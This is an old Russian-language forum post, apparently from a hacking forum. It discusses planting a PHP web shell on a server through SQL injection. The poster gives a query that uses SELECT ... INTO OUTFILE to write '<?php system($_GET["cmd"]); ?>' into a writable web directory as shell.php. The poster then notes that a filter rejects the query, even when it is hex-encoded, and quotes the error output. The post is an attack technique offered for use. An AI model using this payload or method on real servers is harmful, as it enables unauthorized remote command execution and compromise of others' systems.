06.06.2008, 13:48
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283
Репутация:
69
|
|
так что те мешает найти папку для записи и потом выполнить запрос
select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www...ну вообщем путь до папки для записи (например С\www\tmp\) \ shell.php'
мешает по идее фильтр. Даже при кодировке 0х+hex вылазит одна и таже ошибка
[3] ERROR_SQL /select `
или [3] ERROR_SQL/select (сам запрос)
|
|
|